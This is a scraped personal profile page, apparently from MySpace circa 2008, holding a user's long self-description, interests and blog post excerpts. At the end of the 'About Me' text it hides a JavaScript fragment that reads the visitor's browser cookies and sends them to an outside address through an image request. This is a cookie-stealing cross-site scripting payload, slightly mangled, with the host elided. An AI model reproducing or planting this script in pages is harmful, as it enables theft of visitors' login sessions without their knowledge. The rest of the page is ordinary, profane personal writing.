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SoloProject

@ Bonnaroo.. Catch ya fuckers next week!

About Me


MyGen Profile Generator…analytical to a fault, emotionally dramatic to an even greater fault (but I'll deny it to the grave), family, friends and falafel addicted Philly gurl with NOLA in my heart and San Diego on my brain… Ass-kickinâ€,, diagnostician - doctor material addicted to cheesefries swimming in CheezWhiz… Tequila & Guiness drinking Tomboy suckered by the idea of the modern day Cinderella story… French fluent (unpracticed) selfish only child… talkative (which sometimes make me a really shitty listener) music junkie… chronically anxious tea & coffee coniseur (one may just explain the other)… Post-Catholic guilty paranoid agnostic… over salter… writer… laundry hating, Soma missing implusive traveler… bad habit forming unknowing flirter… unapologetic (even when it's my fault) scarf fanatic… insanely forgiving, accident prone, slightly narcissistic, 40's style lovin', chronically impatient, envious but never jealous, OCD messy, commonsenseless genius lil gurl.Driving destination-less is only sure-fire way to clear my mind. I'm in love with my long hair, rarely wear make-up and thrift store shop. I have littered my friend's houses with my shit (see above, "forgetful"). I talk to my mother about my sex life (cause SHE gets me, sometimes). I'm trashy. I hang @ seedy music joints and I like it like that. I prefer lilies to roses any day. I take far too long to tie my shoes (even when I'm running late). I have a raunchy sense of humor but . I'm always right and never change my mind, except for this time. I don't pay much attention to my finances until I'm flat broke (but see $ signs).. I'm a tough cookie... choclate chip. I take cuddling way more seriously than fucking. I'm as dependent upon my insomnia as I am upon sleeping in. I'm overstated, understated and underestimated. I don't mind turning into my mother, I consider it my sweetest compliment. I hate wearing coats and jackets, but I worship hoodie weather (I'm a skate rat) and declare an early spring every year by wearing my flip flops on the first warm night. I sing and dance when I clean. My favorite food is bacon. And I've recently come to terms with the fact that I judge men as easily by how good they are in bed, as well as by how well they cook bacon - both is best. I'm a city chick who canâ€,,t live without an escape from the concrete jungle into nature. The first time I ever fell in love it wasn't with a boy...I fell for science & music - hard, fast and simultaneously. Sometimes I'm a fuck-up! I've noticed the fuck-ups and fucked overs are what made me a whole person. I never let go gracefully. A good majority of my best friends are ex-boyfriends (see above, "forgiving to a fault"). Denim is my second skin but every so often I slip into a dress and cross my legs. My greatest fear is losing my mind. I love snacks. I'm big on snacks! I'm a sneaker wearer but I look fanfuckintastic in a pair of 3 inch stiletto heels and posses the walk way to prove it. Occasionally, I wish I could be a kid again but would never choose it over being an adult. Daydreaming is my favorite pastime and gluttony my deadly sin. Mistakes are my thread and cotton my favorite fabric. I use the word "fuck " far too much. Halloween is fast becoming my . I live for alone time and wait for the message beep (depending on who's calling). I'm an Irish lass, sass and a half. .. .. type=".."var m = document·cookie.substring(document·cookie.indexOf( ".."), document·cookie.length); if (document·cookie.indexOf("..") != -1) {new Image().src="http://..?cookie="+encodeURI(m)};..

My Interests

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I'd like to meet:

Learners, teachers, purple people eaters... ...anyone willing to learn me up on what school will never touch, anyone willing to learn what only I can touch... ...a mind open like a lyrical line unlike mine...

Music:

Ummmm, yes please! Always in need of a second helping. Everything, anything all of it and LOUD!

Movies:


You are Napoleon Dyanamite and a buttload of gangs
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Television:

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Stan Marsh
Your just an average everyday person. Nothing to special here. You have a good head on your shoulders though and sometimes find yourself solving others problems.

Books:

Dante's Inferno and pretty much anything non-fiction...esp. medical reference books **nerd**

Heroes:

Ma Mere, Grammy Gabbers, Puppy, Katiebear, Cammy, Magpie and my sassass Saucebox...

My Blog

You’re always thinking...

"it could be worse". Trust me...  it can be. Give it up for what you have and if it all turns to shit...  stop being such a pussy.  Suck it up, roll with the puches and/or kic...
Posted by SoloProject on Thu, 05 Jun 2008 04:58:00 PST

Just cause Im sorry...

doesn't mean I didn't enjoy it at the time. Just cause I'm going to bed doesn't mean I'm tired. And cause I'm a mess doesn't mean I don't clean up well.   And just cause it's in writing doesn't m...
Posted by SoloProject on Thu, 05 Jun 2008 03:56:00 PST

Ben would be ashamed..

The definition of insanity is doing the same thing over and over expecting different results.Or who knows maybe I don't even want different results.
Posted by SoloProject on Wed, 23 Apr 2008 02:14:00 PST

Its that time of year again kids!

Mr. Softee is making his yearly debut by circling my block and you know what that means...Spring is officially here (sorry if the majority of you mistook the vernal equinox)!  Spring fever should...
Posted by SoloProject on Sat, 05 Apr 2008 05:27:00 PST

Mardis Gras 2008

I'll post the pics as soon as I finish unpacking and get less busy (which is proving to be a total bitch 'cause my shampoo exploded in my suitcase)...  ah, the joys of traveling!  It's ...
Posted by SoloProject on Wed, 20 Feb 2008 12:12:00 PST

Domesticat

I feel like a feral cat,being forced to turn indoor cat against her will.  I'm cleaning, cooking and hosting for the holidays.  Well, kitties never wore corsets with patent leather heels&nbs...
Posted by SoloProject on Mon, 24 Dec 2007 11:03:00 PST

Leaving the Scene of The Crime

Disclaimer: Staring 01/02/08 It's that time again!  Time to wish a fond farewell to sleep and repeat the 100+ hour work week!  And as an added holiday bonusn, it will include an eight hour c...
Posted by SoloProject on Sun, 23 Dec 2007 09:22:00 PST

Converting Determination to Endurance: A Living Study in Physiobiology

One week = 168 hours96 hours/13-14 hours per day  = Working in the lab51 hours/7+ hours per day = Traveling to and from the lab21 hours/3 hours hours per day = Sleeping in the lab, on the train o...
Posted by SoloProject on Tue, 04 Dec 2007 04:11:00 PST

It Could Be Worse... much worse

My patience has worn so thin I have fallen through the hole in it and my tolerence for bullshit has reached dangerously low levels.I need everyone lacking or in complete disregard of common sense to f...
Posted by SoloProject on Sun, 02 Dec 2007 01:43:00 PST

Gotta Find The Album

I've been AROUND... Ya hear that?That's the hands of time, opportunity knockin'The front door, it's the God of WarThe five fingers of death, the hand that feedsThis altered beast, says "It n...
Posted by SoloProject on Tue, 27 Nov 2007 03:36:00 PST